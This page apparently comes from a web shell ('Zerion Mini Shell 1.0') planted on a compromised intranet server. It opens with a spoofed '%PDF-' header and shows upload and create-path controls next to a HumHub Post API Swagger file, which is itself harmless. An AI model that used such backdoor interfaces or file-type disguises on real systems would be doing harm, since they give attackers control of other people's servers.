%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/intranet.vacivitta.com.br/protected/modules/rest/docs/swagger/
Upload File :
Create Path :
Current File : /home/vacivi36/intranet.vacivitta.com.br/protected/modules/rest/docs/swagger/post.yaml

swagger: '2.0'
info:
  description: |
    Welcome to the HumHub post module API reference.

  version: 1.0.0
  title: HumHub - Post API
  contact:
    email: info@humhub.com
  license:
    name: AGPLv2
    url: 'https://www.humhub.org/en/licences'
basePath: /api/v1

paths:
  '/post/container/{id}':
    get:
      summary: Find all posts by container
      description: ''
      produces:
        - application/json
        - application/xml
      parameters:
        - name: id
          in: path
          description: ID of content container
          required: true
          type: integer
        - $ref: 'content.yaml#/components/parameters/topicsParam'
        - $ref: 'common.yaml#/components/parameters/pageParam'
        - $ref: 'common.yaml#/components/parameters/limitParam'
      responses:
        '200':
          description: Successful operation
          schema:
            type: object
            properties:
              total:
                $ref: 'common.yaml#/components/properties/totalProperty'
              page:
                $ref: 'common.yaml#/components/properties/pageProperty'
              pages:
                $ref: 'common.yaml#/components/properties/pagesProperty'
              links:
                $ref: 'common.yaml#/components/properties/linksProperty'
              results:
                type: array
                items:
                  $ref: '#/definitions/Post'
    post:
      summary: Creates a new post
      description: ''
      produces:
        - application/json
      parameters:
        - name: id
          in: path
          description: ID of content container to post to
          required: true
          type: integer
        - name: body
          in: body
          description: The post
          required: true
          schema:
            type: object
            required:
              - data
            properties:
              data:
                $ref: "#/definitions/Post"
      responses:
        '200':
          description: successful operation
          schema:
            $ref: "#/definitions/Post"
        '400':
          description: Invalid post id supplied
        '404':
          description: Post not found
  '/post':
    get:
      summary: Find all posts
      description: ''
      produces:
        - application/json
        - application/xml
      parameters:
        - $ref: 'common.yaml#/components/parameters/pageParam'
        - $ref: 'common.yaml#/components/parameters/limitParam'
      responses:
        '200':
          description: Successful operation
          schema:
            type: object
            properties:
              total:
                $ref: 'common.yaml#/components/properties/totalProperty'
              page:
                $ref: 'common.yaml#/components/properties/pageProperty'
              pages:
                $ref: 'common.yaml#/components/properties/pagesProperty'
              links:
                $ref: 'common.yaml#/components/properties/linksProperty'
              results:
                type: array
                items:
                  $ref: '#/definitions/Post'

  '/post/{id}':
    get:
      summary: Get post by id
      description: ''
      produces:
        - application/json
      parameters:
        - name: id
          in: path
          description: The id of the post
          required: true
          type: integer
      responses:
        '200':
          description: successful operation
          schema:
            $ref: "#/definitions/Post"
        '400':
          description: Invalid post id supplied
        '404':
          description: Post not found
    put:
      summary: Updates a post by id
      produces:
        - application/json
      parameters:
        - name: id
          in: path
          description: The id of post
          required: true
          type: integer
        - name: body
          in: body
          description: The post
          required: true
          schema:
            type: object
            required:
              - data
            properties:
              data:
                $ref: "#/definitions/Post"
      responses:
        '200':
          description: successful operation
          schema:
            $ref: "#/definitions/Post"
        '404':
          description: Post not found
    delete:
      summary: Deletes a post by id
      produces:
        - application/json
      parameters:
        - name: id
          in: path
          description: The id of post
          required: true
          type: integer
      responses:
        '200':
          description: successful operation
        '404':
          description: Post not found

  '/post/{id}/upload-files':
    post:
      summary: Upload files to Post by id
      description: ''
      produces:
        - application/json
      consumes:
        - multipart/form-data
      parameters:
        - name: id
          in: path
          description: The id of the Post
          required: true
          type: integer
        - in: body
          schema:
            type: object
            properties:
              hiddenInStream:
                type: array
                description: Names of the attached files which should be hidden in stream
                example: [ "scheme.jpg", "picture.png", "info.txt"]
        - in: formData
          name: files
          description: The files to upload.
          required: true
          type: array
          items:
            type: file
      responses:
        '200':
          description: Files successfully uploaded.
          schema:
            type: object
            properties:
              files:
                type: array
                items:
                  $ref: "file.yaml#/definitions/File"
        '400':
          description: Invalid content id supplied
        '403':
          description: You are not allowed to upload files to this content!
        '404':
          description: Content record not found!
        '500':
          description: Internal error while saving file.

securityDefinitions:
  $ref: "common.yaml#/securityDefinitions"

definitions:
  Post:
    type: object
    properties:
      id:
        type: integer
        format: int64
        readOnly: true
        example: 14
      message:
        type: string
        example: "Calvin Klein – Between love and madness lies obsession."
      content:
        readOnly: true
        $ref: "content.yaml#/definitions/Content"

Zerion Mini Shell 1.0